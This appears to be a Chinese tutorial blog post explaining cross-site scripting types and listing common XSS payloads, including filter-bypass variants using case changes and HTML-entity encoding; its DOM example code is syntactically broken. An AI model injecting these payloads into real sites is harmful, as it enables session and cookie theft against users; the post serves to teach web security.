XSS的介绍

目录

XSS的原理

反射型XSS

DOM型XSS

存储型XSS

[常见的XSS Payload](#常见的XSS Payload)


XSS的原理

XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面中执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。

XSS属于代码注入的一种,它允许攻击者将代码注入到网页,其他用户在浏览网页时就会受到影响。

XSS的产生原因就是没有对用户的输入做合法的过滤。

反射型XSS

在一个页面发现了一个功能,例如搜索,用户可以输入一些内容,这些内容会被插入到页面中,在过滤不严的情况下可能就会被页面解析。这些内容就包括恶意payload。因为没进数据库(输一次触发一次),所以是非持久型、短暂的且危害较小的一个漏洞。

反射型XSS的存在位置,可能在搜索、input表单,可能会存在过滤,可以通过编码等方式尝试绕过,JavaScript伪协议也可以触发XSS

DOM型XSS

因为 JS 可以控制页面中所有元素,所以在 JS 中可能会存在一些XSS的漏洞。这里和HTML的页面没关系了, JS 页面也可以触发payload。

复制代码
<body>
    <p id = "p">test</p>
</body>
<script>
    let p = document.getElementById('p');
    p.innerHTML = <script>alert(1)</script>  
    #这段代码会把p标签中的内容替换为<script>alert(1)</script>,就触发了
</script>

上面的触发过程和HTML没有关系,是被 JS 完整控制触发的,这种被称为DOM型XSS。

存储型XSS

提交的东西真的被存到数据库并且可以触发。是持久型的。通常发生在留言板等地方

常见的XSS Payload

复制代码
(1)<script>标签直接注入
<script>alert(1)</script>
# 原理:直接插入<script>标签,内容会被浏览器解析为JS代码并执行。
复制代码
(2)HTML事件处理器
<img src=1 onerror=alert(1)>  
<svg/onload=alert(1)>
# 原理:通过HTML标签的事件属性(如onerror、onload)触发JS代码。
复制代码
(3)javascript:伪协议
<a href="javascript:alert(1)">aaaa</a>
# 原理:通过javascript:协议在用户点击链接时执行JS代码(需要用户交互)。
复制代码
(4)自动聚焦(autofocus+onfocus)
<input onfocus=alert(1) autofocus>
# 原理:autofocus:使输入框自动获得焦点。onfocus:当元素聚焦时触发JS代码。(无需用户交互)
复制代码
(5)大小写/标签变形
<ScRipT>alert(1)</sCriPt>
<IMG SRC=x ONERROR=alert(1)>
# 目的:绕过简单的关键字过滤(如正则匹配<script>)
复制代码
(6)编码绕过
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
# 原理:使用HTML实体编码(如alert(1)———>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;)
相关推荐
WildBlue1 分钟前
React样式救星💥:CSS模块化如何让代码更优雅?✨
前端·react.js·前端框架
小趴菜_2 分钟前
🚀 Monaco Editor 全攻略:自定义格式化、智能联想与 Vue 组件封装
前端·vue.js
LovelyAqaurius4 分钟前
WebGL 详解part5:传入颜色信息,绘制渐变色三角形
前端
前端领航者5 分钟前
Vue3 重学笔记
前端·javascript
前端的日常5 分钟前
React 中,怎么实现父组件调用子组件中的方法?
前端
陈随易6 分钟前
如何活在一个没有Node.js只有Bun的环境里
前端·后端·程序员
Xxxxxl176 分钟前
Next.js 知识点
前端·react.js
最爱豆沙包11 分钟前
WebView 预加载池 ,H5页面宽高异常
前端
li拜天儿11 分钟前
文件流导出文件
前端·javascript·vue.js